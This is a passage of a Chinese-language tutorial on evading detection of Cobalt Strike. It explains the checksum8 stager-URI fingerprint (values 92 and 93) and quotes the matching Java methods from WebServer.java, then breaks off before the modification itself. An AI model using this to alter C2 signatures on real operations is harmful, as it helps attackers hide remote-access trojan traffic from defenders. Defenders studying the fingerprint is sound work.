Cobalt Strike 免杀技术详解
Checksum8 算法修改
在基础操作之上,继续深入改动以规避流量识别。首先是 Checksum8 算法,其计算逻辑为 ASCII 码之和 % 256。
在默认 CS 中,64 位木马 checksum8 值为 93,32 位为 92。只要第一个数据包中 GET 请求路径 checksum8 算法值为这两个,基本可确定是 CS 远控通道。因此免杀首当其冲的是改动这个特征。
在 cloudstrike/WebServer.java 文件中找到相关方法:
// checksum8 算法实现
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
} else {
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); ++x) {
sum += (long) text.charAt(x);
}
return sum % 256L;
}
}
// 判断是 64 位还是 32 位木马
public static boolean isStager(String uri) {
return checksum8(uri) == 92L;
}
public static boolean isStagerX64(String uri) {
return checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}");
}
可以看到 checksum8 算法中要满足 url 长度大于 4,然后经过该算法结果为 92 或者 93。有两种思路:


